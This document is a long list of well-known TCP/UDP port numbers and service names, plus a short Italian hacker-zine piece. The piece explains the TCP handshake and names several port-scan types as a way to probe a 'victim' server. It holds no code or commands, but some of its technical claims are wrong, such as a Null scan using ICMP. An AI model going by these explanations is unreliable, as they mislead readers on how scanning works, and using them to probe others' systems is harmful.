- rap 38/udp Route Access Protocol
- rlp 39/udp Resource Location Protocol
- graphics 41/tcp Graphics
- graphics 41/udp Graphics
- nameserver 42/udp Host Name Server
- nicname 43/tcp Who Is
- mpm-flags 44/tcp MPM FLAGS Protocol
- mpm 45/tcp Message Processing Module [recv]
- mpm-snd 46/tcp MPM [default send]
- ni-ftp 47/tcp NI FTP
- ni-ftp 47/udp NI FTP
- auditd 48/tcp Digital Audit Daemon
- auditd 48/udp Digital Audit Daemon
- login 49/tcp Login Host Protocol
- re-mail-ck 50/tcp Remote Mail Checking Protocol
- re-mail-ck 50/udp Remote Mail Checking Protocol
- la-maint 51/udp IMP Logical Address Maintenance
- xns-time 52/tcp XNS Time Protocol
- xns-time 52/udp XNS Time Protocol
- domain 53/tcp Domain Name Server
- domain 53/udp Domain Name Server
- xns-ch 54/tcp XNS Clearinghouse
- xns-ch 54/udp XNS Clearinghouse
- isi-gl 55/tcp ISI Graphics Language
- isi-gl 55/udp ISI Graphics Language
- xns-auth 56/tcp XNS Authentication
- xns-auth 56/udp XNS Authentication
- 57/tcp any private terminal access
- 57/udp any private terminal access
- xns-mail 58/tcp XNS Mail
- xns-mail 58/udp XNS Mail
- 59/tcp any private file service
- 59/udp any private file service
- 60/tcp Unassigned
- 60/udp Unassigned
- ni-mail 61/tcp NI MAIL

- ni-mail 61/udp NI MAIL
- acas 62/tcp ACA Services
- covia 64/tcp Communications Integrator (CI)
- tacacs-ds 65/tcp TACACS-Database Service
- sql*net 66/tcp Oracle SQL*NET
- bootps 67/udp Bootstrap Protocol Server
- bootpc 68/udp Bootstrap Protocol Client
- tftp 69/udp Trivial File Transfer
- gopher 70/tcp Gopher
- netrjs-1 71/tcp Remote Job Service
- netrjs-1 71/udp Remote Job Service
- netrjs-2 72/tcp Remote Job Service
- netrjs-2 72/udp Remote Job Service
- netrjs-3 73/tcp Remote Job Service
- netrjs-3 73/udp Remote Job Service
- netrjs-4 74/tcp Remote Job Service
- netrjs-4 74/udp Remote Job Service
- 75/tcp any private dial out service
- 75/udp any private dial out service
- deos 76/tcp Distributed External Object Store
- deos 76/udp Distributed External Object Store
- 77/tcp any private RJE service
- 77/udp any private RJE service
- vettcp 78/tcp vettcp
- vettcp 78/udp vettcp
- http 80/tcp World Wide Web HTTP
- www-http 80/tcp World Wide Web HTTP
- hosts2-ns 81/tcp HOSTS2 Name Server
- hosts2-ns 81/udp HOSTS2 Name Server
- xfer 82/tcp XFER Utility
- xfer 82/udp XFER Utility
- mit-ml-dev 83/tcp MIT ML Device
- mit-ml-dev 83/udp MIT ML Device
- ctf 84/tcp Common Trace Facility
- ctf 84/udp Common Trace Facility
- mit-ml-dev 85/tcp MIT ML Device
- mit-ml-dev 85/udp MIT ML Device
- mfcobol 86/tcp Micro Focus Cobol
- 87/tcp any private terminal link
- 87/udp any private terminal link
- kerberos 88/tcp Kerberos
- *su-mit-tg* 89/tcp SU/MIT Telnet Gateway
- dnsix 90/tcp DNSIX Securit Attribute Token Map

- *mit-dov* 91/tcp MIT Dover Spooler
- npp 92/tcp Network Printing Protocol
- npp 92/udp Network Printing Protocol
- dcp 93/tcp Device Control Protocol
- dcp 93/udp Device Control Protocol
- objcall 94/tcp Tivoli Object Dispatcher
- objcall 94/udp Tivoli Object Dispatcher
- supdup 95/tcp SUPDUP
- supdup 95/udp SUPDUP
- *dixie* 96/tcp DIXIE Protocol Specification
- swift-rvf 97/tcp Swift Remote Virtural File Protocol
- swift-rvf 97/udp Swift Remote Virtural File Protocol
- tacnews 98/tcp TAC News
- tacnews 98/udp TAC News
- metagram 99/tcp Metagram Relay
- metagram 99/udp Metagram Relay
- newacct 100/tcp [unauthorized use]
- hostname 101/tcp NIC Host Name Server
- hostname 101/udp NIC Host Name Server
- iso-tsap 102/tcp ISO-TSAP Class 0
- iso-tsap 102/udp ISO-TSAP Class 0
- gppitnp 103/tcp Genesis Point-to-Point Trans Net
- gppitnp 103/udp Genesis Point-to-Point Trans Net
- acr-nema 104/tcp ACR-NEMA Digital Imag. & Comm. 300
- csnet-ns 105/tcp Mailbox Name Nameserver
- csnet-ns 105/udp Mailbox Name Nameserver
- 3com-tsmux 106/tcp 3COM-TSMUX
- 3com-tsmux 106/udp 3COM-TSMUX
- poppassd 106/tcp Password Server
- rtelnet 107/tcp Remote Telnet Service
- snagas 108/tcp SNA Gateway Access Server
- pop2 109/tcp Post Office Protocol - Version 2
- pop3 110/tcp Post Office Protocol - Version 3
- sunrpc 111/tcp SUN Remote Procedure Call
- sunrpc 111/udp SUN Remote Procedure Call
- *mcidas* 112/tcp McIDAS Data Transmission Protocol
- auth 113/tcp Authentication Service
- audionews 114/tcp Audio News Multicast
- audionews 114/udp Audio News Multicast
- sftp 115/tcp Simple File Transfer Protocol
- sftp 115/udp Simple File Transfer Protocol
- ansanotify 116/tcp ANSA REX Notify
- ansanotify 116/udp ANSA REX Notify
- uucp-path 117/tcp UUCP Path Service

- sqlserv 118/tcp SQL Services
- sqlserv 118/udp SQL Services
- nntp 119/tcp Network News Transfer Protocol
- cfdptkt 120/tcp CFDPTKT
- cfdptkt 120/udp CFDPTKT
- erpc 121/tcp Encore Expedited Remote Pro.Call
- erpc 121/udp Encore Expedited Remote Pro.Call
- *smakynet* 122/tcp SMAKYNET
- *smakynet* 122/udp SMAKYNET
- ntp 123/tcp Network Time Protocol
- ntp 123/udp Network Time Protocol
- ansatrader 124/tcp ANSA REX Trader
- ansatrader 124/udp ANSA REX Trader
- locus-map 125/tcp Locus PC-Interface Net Map Ser
- unitary 126/tcp Unisys Unitary Login
- unitary 126/udp Unisys Unitary Login
- locus-con 127/tcp Locus PC-Interface Conn Server
- gss-xlicen 128/tcp GSS X License Verification
- gss-xlicen 128/udp GSS X License Verification
- pwdgen 129/tcp Password Generator Protocol
- pwdgen 129/udp Password Generator Protocol
- cisco-fna 130/tcp cisco FNATIVE
- cisco-fna 130/udp cisco FNATIVE
- cisco-tna 131/tcp cisco TNATIVE
- cisco-tna 131/udp cisco TNATIVE
- cisco-sys 132/tcp cisco SYSMAINT
- cisco-sys 132/udp cisco SYSMAINT
- statsrv 133/tcp Statistics Service
- statsrv 133/udp Statistics Service
- ingres-net 134/tcp INGRES-NET Service
- loc-srv 135/tcp Location Service
- loc-srv 135/udp Location Service
- *profile* 136/tcp PROFILE Naming System
- netbios-ns 137/tcp NETBIOS Name Service
- netbios-ns 137/udp NETBIOS Name Service
- netbios-dgm 138/tcp NETBIOS Datagram Service
- netbios-dgm 138/udp NETBIOS Datagram Service
- netbios-ssn 139/tcp NETBIOS Session Service
- netbios-ssn 139/udp NETBIOS Session Service
- emfis-data 140/tcp EMFIS Data Service
- emfis-data 140/udp EMFIS Data Service
- emfis-cntl 141/tcp EMFIS Control Service
- emfis-cntl 141/udp EMFIS Control Service

- bl-idm 142/tcp Britton-Lee IDM
- bl-idm 142/udp Britton-Lee IDM
- imap2 143/tcp Interactive Mail Access Protocol v2
- news 144/tcp NewS
- news 144/udp NewS
- uaac 145/tcp UAAC Protocol
- uaac 145/udp UAAC Protocol
- iso-tp0 146/tcp ISO-IP0
- iso-tp0 146/udp ISO-IP0
- iso-ip 147/tcp ISO-IP
- iso-ip 147/udp ISO-IP
- cronus 148/tcp CRONUS-SUPPORT
- cronus 148/udp CRONUS-SUPPORT
- aed-512 149/tcp AED 512 Emulation Service
- aed-512 149/udp AED 512 Emulation Service
- sql-net 150/tcp SQL-NET
- sql-net 150/udp SQL-NET
- hems 151/tcp HEMS
- bftp 152/tcp Background File Transfer Program
- bftp 152/udp Background File Transfer Program
- sgmp 153/tcp SGMP
- sgmp 153/udp SGMP
- netsc-prod 154/tcp NETSC
- netsc-prod 154/udp NETSC
- netsc-dev 155/tcp NETSC
- netsc-dev 155/udp NETSC
- *sqlsrv* 156/tcp SQL Service
- *knet-cmp* 157/tcp KNET/VM Command/Message Protocol
- pcmail-srv 158/tcp PCMail Server
- nss-routing 159/tcp NSS-Routing
- nss-routing 159/udp NSS-Routing
- sgmp-traps 160/tcp SGMP-TRAPS
- sgmp-traps 160/udp SGMP-TRAPS
- snmp 161/udp SNMP
- snmptrap 162/udp SNMPTRAP
- cmip-man 163/tcp CMIP/TCP Manager
- cmip-man 163/udp CMIP/TCP Manager
- cmip-agent 164/tcp CMIP/TCP Agent
- smip-agent 164/udp CMIP/TCP Agent
- xns-courier 165/tcp Xerox
- xns-courier 165/udp Xerox
- s-net 166/tcp Sirius Systems
- s-net 166/udp Sirius Systems
- namp 167/tcp NAMP
- namp 167/udp NAMP

- rsvd 168/tcp RSVD
- rsvd 168/udp RSVD
- send 169/tcp SEND
- send 169/udp SEND
- print-srv 170/tcp Network PostScript
- print-srv 170/udp Network PostScript
- multiplex 171/tcp Network Innovations Multiplex
- multiplex 171/udp Network Innovations Multiplex
- cl/1 172/tcp Network Innovations CL/1
- cl/1 172/udp Network Innovations CL/1
- xyplex-mux 173/tcp Xyplex
- xyplex-mux 173/udp Xyplex
- mailq 174/tcp MAILQ
- mailq 174/udp MAILQ
- vmnet 175/tcp VMNET
- vmnet 175/udp VMNET
- genrad-mux 176/tcp GENRAD-MUX
- genrad-mux 176/udp GENRAD-MUX
- xdmcp 177/udp X Display Manager Control Protocol
- nextstep 178/tcp NextStep Window Server
- NextStep 178/udp NextStep Window Server
- bgp 179/tcp Border Gateway Protocol
- ris 180/tcp Intergraph
- ris 180/udp Intergraph
- unify 181/tcp Unify
- unify 181/udp Unify
- audit 182/tcp Unisys Audit SITP
- audit 182/udp Unisys Audit SITP
- ocbinder 183/tcp OCBinder
- ocbinder 183/udp OCBinder
- ocserver 184/tcp OCServer
- ocserver 184/udp OCServer
- remote-kis 185/tcp Remote-KIS
- remote-kis 185/udp Remote-KIS
- kis 186/tcp KIS Protocol
- kis 186/udp KIS Protocol
- aci 187/tcp Application Communication Interface
- aci 187/udp Application Communication Interface
- mumps 188/tcp Plus Five's MUMPS
- mumps 188/udp Plus Five's MUMPS
- qft 189/tcp Queued File Transport
- gacp 190/tcp Gateway Access Control Protocol
- cacp 190/udp Gateway Access Control Protocol
- prospero 191/tcp Prospero Directory Service
- osu-nms 192/tcp OSU Network Monitoring System

- osu-nms 192/udp OSU Network Monitoring System
- srmp 193/tcp Spider Remote Monitoring Protocol
- srmp 193/udp Spider Remote Monitoring Protocol
- irc 194/udp Internet Relay Chat Protocol
- dn6-nlm-aud 195/tcp DNSIX Network Level Module Audit
- dn6-smm-red 196/tcp DNSIX Session Mgt Module Audit Redir
- dls 197/tcp Directory Location Service
- dls 197/udp Directory Location Service
- dls-mon 198/tcp Directory Location Service Monitor
- dls-mon 198/udp Directory Location Service Monitor
- smux 199/tcp SMUX
- smux 199/udp SMUX
- src 200/tcp IBM System Resource Controller
- src 200/udp IBM System Resource Controller
- at-rtmp 201/tcp AppleTalk Routing Maintenance
- at-rtmp 201/udp AppleTalk Routing Maintenance
- at-nbp 202/tcp AppleTalk Name Binding
- at-nbp 202/udp AppleTalk Name Binding
- at-3 203/tcp AppleTalk Unused
- at-3 203/udp AppleTalk Unused
- at-echo 204/tcp AppleTalk Echo
- at-echo 204/udp AppleTalk Echo
- at-5 205/tcp AppleTalk Unused
- at-5 205/udp AppleTalk Unused
- at-zis 206/tcp AppleTalk Zone Information
- at-zis 206/udp AppleTalk Zone Information
- at-7 207/tcp AppleTalk Unused
- at-7 207/udp AppleTalk Unused
- at-8 208/tcp AppleTalk Unused
- at-8 208/udp AppleTalk Unused
- tam 209/tcp Trivial Authenticated Mail Protocol
- tam 209/udp Trivial Authenticated Mail Protocol
- z39.50 210/tcp ANSI Z39.50
- z39.50 210/udp ANSI Z39.50
- 914c/g 211/tcp Texas Instruments 914C/G Terminal
- 914c/g 211/udp Texas Instruments 914C/G Terminal
- anet 212/tcp ATEXSSTR
- anet 212/udp ATEXSSTR
- ipx 213/tcp IPX
- ipx 213/udp IPX
- vmpwscs 214/tcp VM PWSCS
- vmpwscs 214/udp VM PWSCS
- softpc 215/tcp Insignia Solutions

- softpc 215/udp Insignia Solutions
- atls 216/tcp Access Technology License Server
- dbase 217/tcp dBASE Unix
- dbase 217/udp dBASE Unix
- mpp 218/tcp Netix Message Posting Protocol
- mpp 218/udp Netix Message Posting Protocol
- uarps 219/tcp Unisys ARPs
- uarps 219/udp Unisys ARPs
- imap3 220/tcp Interactive Mail Access Protocol v3
- fln-spx 221/tcp Berkeley rlogind with SPX auth
- fln-spx 221/udp Berkeley rlogind with SPX auth
- rsh-spx 222/tcp Berkeley rshd with SPX auth
- rsh-spx 222/udp Berkeley rshd with SPX auth
- cdc 223/tcp Certificate Distribution Center
- cdc 223/udp Certificate Distribution Center
- sur-meas 243/tcp Survey Measurement
- sur-meas 243/udp Survey Measurement
- link 245/tcp LINK
- link 245/udp LINK
- dsp3270 246/tcp Display Systems Protocol
- dsp3270 246/udp Display Systems Protocol
- pdap 344/tcp Prospero Data Access Protocol
- pawserv 345/tcp Perf Analysis Workbench
- pawserv 345/udp Perf Analysis Workbench
- zserv 346/tcp Zebra server
- fatserv 347/tcp Fatmen Server
- csi-sgwp 348/tcp Cabletron Management Protocol
- csi-sgwp 348/udp Cabletron Management Protocol
- clearcase 371/tcp Clearcase
- clearcase 371/udp Clearcase
- ulistserv 372/tcp Unix Listserv
- ulistserv 372/udp Unix Listserv
- legent-1 373/tcp Legent Corporation
- legent-1 373/udp Legent Corporation
- legent-2 374/tcp Legent Corporation
- legent-2 374/udp Legent Corporation
- hassle 375/tcp Hassle
- hassle 375/udp Hassle
- nip 376/tcp Amiga Envoy Network Inquiry Proto
- nip 376/udp Amiga Envoy Network Inquiry Proto
- tnETOS 377/tcp NEC Corporation
- tnETOS 377/udp NEC Corporation
- dsETOS 378/tcp NEC Corporation
- dsETOS 378/udp NEC Corporation
- is99c 379/tcp TIA/EIA/IS-99 modem client

- is99s 380/tcp TIA/EIA/IS-99 modem server
- hp-collector 381/tcp hp performance data collector
- hp-collector 381/udp hp performance data collector
- hp-managed-node 382/tcp hp performance data managed node
- hp-managed-node 382/udp hp performance data managed node
- hp-alarm-mgr 383/tcp hp performance data alarm manager
- hp-alarm-mgr 383/udp hp performance data alarm manager
- arns 384/tcp A Remote Network Server System
- arns 384/udp A Remote Network Server System
- ibm-app 385/tcp IBM Application
- ibm-app 385/tcp IBM Application
- asa 386/tcp ASA Message Router Object Def.
- asa 386/udp ASA Message Router Object Def.
- aurp 387/tcp Appletalk Update-Based Routing Pro.
- aurp 387/udp Appletalk Update-Based Routing Pro.
- unidata-ldm 388/tcp Unidata LDM Version 4
- unidata-ldm 388/udp Unidata LDM Version 4
- ldap 389/tcp Lightweight Directory Access Protocol
- uis 390/tcp UIS
- uis 390/udp UIS
- synotics-relay 391/tcp SynOptics SNMP Relay Port
- synotics-relay 391/udp SynOptics SNMP Relay Port
- synotics-broker 392/tcp SynOptics Port Broker Port
- synotics-broker 392/udp SynOptics Port Broker Port
- dis 393/tcp Data Interpretation System
- dis 393/udp Data Interpretation System
- embl-ndt 394/tcp EMBL Nucleic Data Transfer
- embl-ndt 394/udp EMBL Nucleic Data Transfer
- netcp 395/tcp NETscout Control Protocol
- netcp 395/udp NETscout Control Protocol
- netware-ip 396/tcp Novell Netware over IP
- netware-ip 396/udp Novell Netware over IP
- mptn 397/tcp Multi Protocol Trans. Net.
- mptn 397/udp Multi Protocol Trans. Net.
- kryptolan 398/tcp Kryptolan
- kryptolan 398/udp Kryptolan
- iso-tsap-c2 399/tcp ISO-TSAP Class 2
- iso-tsap-c2 399/udp ISO-TSAP Class 2
- work-sol 400/tcp Workstation Solutions
- work-sol 400/udp Workstation Solutions
- ups 401/udp Uninterruptible Power Supply
- genie 402/tcp Genie Protocol
- genie 402/udp Genie Protocol
- decap 403/tcp decap
- decap 403/udp decap

- nced 404/tcp nced
- nced 404/udp nced
- ncld 405/tcp ncld
- ncld 405/udp ncld
- imsp 406/tcp Interactive Mail Support Protocol
- imsp 406/udp Interactive Mail Support Protocol
- timbuktu 407/tcp Timbuktu
- prm-sm 408/tcp Prospero Resource Manager Sys. Man.
- prm-nm 409/tcp Prospero Resource Manager Node Man.
- decladebug 410/udp DECLadebug Remote Debug Protocol
- rmt 411/tcp Remote MT Protocol
- rmt 411/udp Remote MT Protocol
- synoptics-trap 412/tcp Trap Convention Port
- synoptics-trap 412/udp Trap Convention Port
- smsp 413/tcp SMSP
- smsp 413/udp SMSP
- infoseek 414/tcp InfoSeek
- infoseek 414/udp InfoSeek
- bnet 415/tcp BNet
- bnet 415/udp BNet
- silverplatter 416/tcp Silverplatter
- silverplatter 416/udp Silverplatter
- onmux 417/tcp Onmux
- onmux 417/udp Onmux
- hyper-g 418/tcp Hyper-G
- ariel1 419/tcp Ariel
- smpte 420/udp SMPTE
- ariel2 421/tcp Ariel
- ariel3 422/tcp Ariel
- opc-job-start 423/tcp IBM Operations Planning and Control Start
- opc-job-track 424/tcp IBM Operations Planning and Control Track
- icad-el 425/tcp ICAD
- smartsdp 426/tcp smartsdp
- smartsdp 426/udp smartsdp
- svrloc 427/tcp Server Location
- svrloc 427/udp Server Location
- ocs_cmu 428/tcp OCS_CMU
- ocs_cmu 428/udp OCS_CMU
- ocs_amu 429/tcp OCS_AMU
- ocs_amu 429/udp OCS_AMU
- utmpsd 430/tcp UTMPSD
- utmpsd 430/udp UTMPSD
- utmpcd 431/tcp UTMPCD
- utmpcd 431/udp UTMPCD
- iasd 432/tcp IASD

- iasd 432/udp IASD
- nnsp 433/tcp NNSP
- nnsp 433/udp NNSP
- mobileip-agent 434/tcp MobileIP-Agent
- mobilip-mn 435/tcp MobilIP-MN
- dna-cml 436/tcp DNA-CML
- dna-cml 436/udp DNA-CML
- comscm 437/tcp comscm
- comscm 437/udp comscm
- dsfgw 438/tcp dsfgw
- dsfgw 438/udp dsfgw
- dasp 439/tcp dasp Thomas Obermair
- dasp 439/udp dasp tommy@inlab.m.eunet.de
- sgcp 440/tcp sgcp
- sgcp 440/udp sgcp
- decvms-sysmgt 441/tcp decvms-sysmgt
- cvc_hostd 442/tcp cvc_hostd
- cvc_hostd 442/udp cvc_hostd
- https 443/tcp https MCom
- snpp 444/tcp Simple Network Paging Protocol
- snpp 444/udp Simple Network Paging Protocol
- microsoft-ds 445/udp Microsoft-DS
- ddm-rdb 446/tcp DDM-RDB
- ddm-rdb 446/udp DDM-RDB
- ddm-dfm 447/tcp DDM-RFM
- ddm-dfm 447/udp DDM-RFM
- ddm-byte 448/tcp DDM-BYTE
- ddm-byte 448/udp DDM-BYTE
- as-servermap 449/tcp AS Server Mapper
- as-servermap 449/udp AS Server Mapper
- tserver 450/tcp TServer
- sfs-smp-net 451/tcp Cray Network Semaphore server
- sfs-smp-net 451/udp Cray Network Semaphore server
- sfs-config 452/tcp Cray SFS config server
- sfs-config 452/udp Cray SFS config server
- creativeserver 453/tcp CreativeServer
- creativeserver 453/udp CreativeServer
- contentserver 454/tcp ContentServer
- contentserver 454/udp ContentServer
- creativepartnr 455/tcp CreativePartnr
- creativepartnr 455/udp CreativePartnr
- macon-tcp 456/tcp macon-tcp
- macon-udp 456/udp macon-udp
- scohelp 457/tcp scohelp
- scohelp 457/udp scohelp

- appleqtc 458/tcp apple quick time
- appleqtc 458/udp apple quick time
- ampr-rcmd 459/tcp ampr-rcmd
- ampr-rcmd 459/udp ampr-rcmd
- skronk 460/tcp skronk
- skronk 460/udp skronk
- exec 512/tcp remote process execution;
- biff 512/udp used by mail system to notify users
- login 513/tcp remote login a la telnet;
- who 513/udp maintains data bases showing who's
- cmd 514/tcp like exec, but automatic
- syslog 514/udp
- printer 515/tcp spooler
- talk 517/udp
- ntalk 518/tcp
- utime 519/tcp unixtime
- utime 519/udp unixtime
- efs 520/tcp extended file name server
- router 520/udp local routing process (on site);
- timed 525/tcp timeserver
- timed 525/udp timeserver
- tempo 526/tcp newdate
- tempo 526/udp newdate
- courier 530/tcp rpc
- courier 530/udp rpc
- conference 531/tcp chat
- conference 531/udp chat
- netnews 532/tcp readnews
- netnews 532/udp readnews
- netwall 533/tcp for emergency broadcasts
- netwall 533/udp for emergency broadcasts
- apertus-ldp 539/tcp Apertus Technologies Load Determination
- apertus-ldp 539/udp Apertus Technologies Load Determination
- uucp 540/tcp uucpd
- uucp-rlogin 541/tcp uucp-rlogin
- uucp-rlogin 541/udp uucp-rlogin
- klogin 543/tcp
- klogin 543/udp
- kshell 544/tcp krcmd
- kshell 544/udp krcmd
- appleqtcsrvr 545/tcp appleqtcsrvr
- appleqtcsrvr 545/udp appleqtcsrvr
- new-rwho 550/tcp new-who
- new-rwho 550/udp new-who
- dsf 555/tcp

- dsf 555/udp
- remotefs 556/tcp rfs server
- remotefs 556/udp rfs server
- openvms-sysipc 557/tcp openvms-sysipc
- openvms-sysipc 557/udp openvms-sysipc
- sdnskmp 558/tcp SDNSKMP
- sdnskmp 558/udp SDNSKMP
- teedtap 559/tcp TEEDTAP
- teedtap 559/udp TEEDTAP
- rmonitor 560/tcp rmonitord
- rmonitor 560/udp rmonitord
- monitor 561/tcp
- monitor 561/udp
- chshell 562/tcp chcmd
- chshell 562/udp chcmd
- 9pfs 564/tcp plan 9 file service
- 9pfs 564/udp plan 9 file service
- whoami 565/tcp whoami
- whoami 565/udp whoami
- meter 570/tcp demon
- meter 570/udp demon
- meter 571/tcp udemon
- meter 571/udp udemon
- ipcserver 600/tcp Sun IPC server
- ipcserver 600/udp Sun IPC server
- nqs 607/tcp nqs
- nqs 607/udp nqs
- urm 606/tcp Cray Unified Resource Manager
- urm 606/udp Cray Unified Resource Manager
- sift-uft 608/tcp Sender-Initiated/Unsolicited File Transfer
- npmp-trap 609/tcp npmp-trap
- npmp-trap 609/udp npmp-trap
- npmp-local 610/tcp npmp-local
- npmp-local 610/udp npmp-local
- npmp-gui 611/tcp npmp-gui
- npmp-gui 611/udp npmp-gui
- ginad 634/tcp ginad
- ginad 634/udp ginad
- mdqs 666/tcp
- mdqs 666/udp
- doom 666/tcp doom Id Software
- elcsd 704/tcp errlog copy/server daemon
- elcsd 704/udp errlog copy/server daemon
- flexlm 744/tcp Flexible License Manager
- flexlm 744/udp Flexible License Manager
- fujitsu-dev 747/tcp Fujitsu Device Control

- fujitsu-dev 747/udp Fujitsu Device Control
- ris-cm 748/tcp Russell Info Sci Calendar Manager
- ris-cm 748/udp Russell Info Sci Calendar Manager
- kerberos-adm 749/tcp kerberos administration
- rfile 750/tcp
- loadav 750/udp
- pump 751/tcp
- pump 751/udp
- qrh 752/tcp
- qrh 752/udp
- rrh 753/tcp
- rrh 753/udp
- tell 754/tcp send
- tell 754/udp send
- nlogin 758/tcp
- nlogin 758/udp
- con 759/tcp
- con 759/udp
- ns 760/tcp
- ns 760/udp
- rxe 761/tcp
- rxe 761/udp
- quotad 762/tcp
- quotad 762/udp
- cycleserv 763/tcp
- cycleserv 763/udp
- omserv 764/tcp
- omserv 764/udp
- webster 765/tcp
- webster 765/udp
- phonebook 767/tcp phone
- phonebook 767/udp phone
- vid 769/tcp
- vid 769/udp
- cadlock 770/tcp
- cadlock 770/udp
- rtip 771/tcp
- rtip 771/udp
- cycleserv2 772/tcp
- cycleserv2 772/udp
- submit 773/tcp
- notify 773/udp
- rpasswd 774/tcp
- acmaint_dbd 774/udp
- entomb 775/tcp
- acmaint_transd 775/udp

- wpages 776/tcp
- wpages 776/udp
- wpgs 780/tcp
- wpgs 780/udp
- concert 786/tcp Concert
- concert 786/udp Concert
- mdbs_daemon 800/tcp
- mdbs_daemon 800/udp
- device 801/tcp
- device 801/udp
- accessbuilder 888/tcp AccessBuilder
- accessbuilder 888/udp AccessBuilder
- xtreelic 996/tcp Central Point Software
- xtreelic 996/udp Central Point Software
- maitrd 997/tcp
- maitrd 997/udp
- busboy 998/tcp
- puparp 998/udp
- garcon 999/tcp
- applix 999/udp Applix ac
- puprouter 999/tcp
- puprouter 999/udp
- cadlock 1000/tcp
- ock 1000/udp
- 1023/tcp Reserved
- 1024/udp Reserved

For information about ports greater than 1024 see the list of REGISTERED PORT NUMBERS

REFERENCES

[RFC768] Postel, J., "User Datagram Protocol", STD 6, RFC 768, USC/Information Sciences Institute, August 1980.

[RFC793]Postel, J., ed., "Transmission Control Protocol - DARPA Internet Program Protocol Specification", STD 7, RFC 793, USC/Information Sciences Institute, September 1981.

------========<<<<<<<<<|| PORTE ||>>>>>>>>>========-------

by
MICHAEL BAKUNIN
<bakunin@meganmail.com>

Forse è solo perchè non sapevo cosa fare... ho scritto qui tutte le porte del creato. Ci sono all'incirca tutte con il nome corrispettivo.

Ma prima... eccovi una micro spiegazione della comunicazione TCP/IP e del portscanner e dell'hacking in generale verso delle porte.

Cosa possono servire queste porte? A tutto... vi dico in breve come vengono ussate:

Ogni volta che usate un programma (da un client per IRC, ad un BROWSER a quello ch volete!), questo invià un messaggio (un bacchetto di informazioni) SYN al server in questione.
Se state facendo una scansione di porte, il server sarà la vittima mentre voi continuerete ad essere client. Si definisce quindi server chi si becca il vostro pacchetto SYN.

Se il server riconosce il pacchetto SYN, manda un pacchetto SYN-ACK a voi. Questo succede quando la porta è aperta e viene fatto in automatico.

Quindi incomincia la trasmissione di informazioni con l'invio di un apcchetto ACK.
EX CLARO?

Quando uno vuole hackerare un server a livello lammer usa il metodo descritto fino a qui. Questo si chiama Scan TCP connect (o più semplicemente sT).

Altro tipo è il Scan TCP SYN (o sS). Consiste nel non inviare il terzo pacchetto, detto ACK. Per evitare che la connessione avvanga mando un RST/ACK. Questo pacchetto annulla la connessione.

Poi c'è il Scan TCP FIN (o sF) che si basa sul pacchetto RFC 793.

Esiste poi il Scan TCP Xmas Tree (sX). È praticamente eguale a quello sopra solo che configurato un po' diversaemente il FIN, URG e PUSH impostati.

Poi c'è il TCP Null Scan (sN). Usa le connessioni ICMP.

Ora... tagliamo un po', ed eccovi le porte!

Anzi! Prima vi aggiungo ancora un po' di teoria! Queste porte non sono tutte aperte, ma la loro apertura dipende da diversi fattori:

1 --> L'OS: Windows di norma ha tutte le porte chiuse (specialmente se per utente e non per server). Sono aperte solo se ci sono programmi che le tengono aperte. Questi possono essere oltre che trojan, anche prog specifici. CMQ, non vi preoccupate! Se trovate delle porte aperte sul vostro windozzolo e voi non sapete nulla... sono in lettura da virus!

Linux/*nix/aix e tutti i OS che si basano su una architettura risalente a uno di essi (vedi freesbd). Essi hanno le porte aperte di natura... ma non tutte e possono essere configurati dal root della macchina.

2 --> AMMINISTRATORE: questo può essere sia per win che per linux. Per win con programmi appositi. Per linux perchè voluti e configurati.
Sta di fatto che cmq windowz non può aprire determinate porte in qualsiasi caso. Tipo TELNET o altre... win non le aprirà mai. Queste porte sono specifiche di sistemi *nix.

Di solito per LINUX e simili le porte di default (quindi non tutte) si aprono editando il file /etc/inetd.conf. Ma si posso usare programmi anche per aprirle stando quindi slegati dai file di configurazione.

PORTE	SERVIZIO
1	echo
21	ftp
23	telnet
25	smtp
79	finger
80	http
98	linuxconf
110	pop-3
111	sunrpc
113	auth
119	nntp
515	printer
631	senza nome
649	senza nome
1024	kdm
1025	listen
1026	nterm
1030	iad1
1031	iad2
1032	iad3

1058	nim
1059	nimreg
1067	instl_boots
1068	instl_bootc
1080	socks
1083	ansoft-lm-1
1084	ansoft-lm-2
1103	xaudio
1109	kpop
1110	nfsd-status
1112	msql
1127	supfiledbg
1155	nfa
1178	skkserv
1212	lupa
1222	nerv
1234	hotline
1241	msg
1248	hermes
1346	alta-ana-lm
1347	bbn-mmc
1348	bbn-mmx
1349	sbook
1350	editbench
1351	equationbuilder
1352	lotusnotes
1353	relief
1354	rightbrain
1355	intuitive-edge
1356	cuillamartin
1357	pegboard
1358	connlcli
1359	ftsrv
1360	mimer
1361	linx
1362	timeflies
1363	ndm-requester
1364	ndm-server
1365	adapt-sna
1366	netware-csp
1367	dcs
1368	screencast
1369	gv-us
1370	us-gv
1371	fc-cli
1372	fc-ser
1373	chromagrafx
1374	molly

1375 bytex
1376 ibm-pps
1377 cichlid
1378 elan
1379 dbreporter
1380 telesis-licman
1381 apple-licman
1383 gwha
1384 os-licman
1385 atex_elmd
1386 checksum
1387 cadsi-lm
1388 objective-dbc
1389 iclpv-dm
1390 iclpv-sc
1391 iclpv-sas
1392 iclpv-pm
1393 iclpv-nls
1394 iclpv-nlc
1395 iclpv-wsm
1396 dvl-activemail
1397 audio-activmail
1398 video-activmail
1399 cadkey-licman
1400 cadkey-tablet
1401 goldleaf-licman
1402 prm-sm-np
1403 prm-nm-np
1404 igi-lm
1405 ibm-res
1406 netlabs-lm
1407 dbsa-lm
1408 sophia-lm
1409 here-lm
1410 hiq
1411 af
1412 innosys
1413 innosys-acl
1414 ibm-mqseries
1415 dbstar
1416 novell-lu6.2
1417 timbuktu-srv1
1418 timbuktu-srv2
1419 timbuktu-srv3
1420 timbuktu-srv4
1421 gandalf-lm
1422 autodesk-lm
1423 essbase

1424 hybrid
1425 zion-lm
1426 sas-1
1427 mloadd
1428 informatik-lm
1429 nms
1430 tpdu
1431 rgtp
1432 blueberry-lm
1433 ms-sql-s
1434 ms-sql-m
1435 ibm-cics
1436 sas-2
1437 tabula
1438 eicon-server
1439 eicon-x25
1440 eicon-slp
1441 cadis-1
1442 cadis-2
1443 ies-lm
1444 marcam-lm
1445 proxima-lm
1446 ora-lm
1447 apri-lm
1448 oc-lm
1449 peport
1450 dwf
1451 infoman
1452 gtegsc-lm
1453 genie-lm
1454 interhdl_elmd
1455 esl-lm
1456 dca
1457 valisys-lm
1458 nrcabq-lm
1459 proshare1
1460 proshare2
1461 ibm_wrless_lan
1462 world-lm
1463 nucleus
1464 msl_lmd
1465 pipes
1466 oceansoft-lm
1467 csdmbase
1468 csdm
1469 aal-lm
1470 uaiact
1471 csdmbase

1472	csdm
1473	math
1474	telefinder
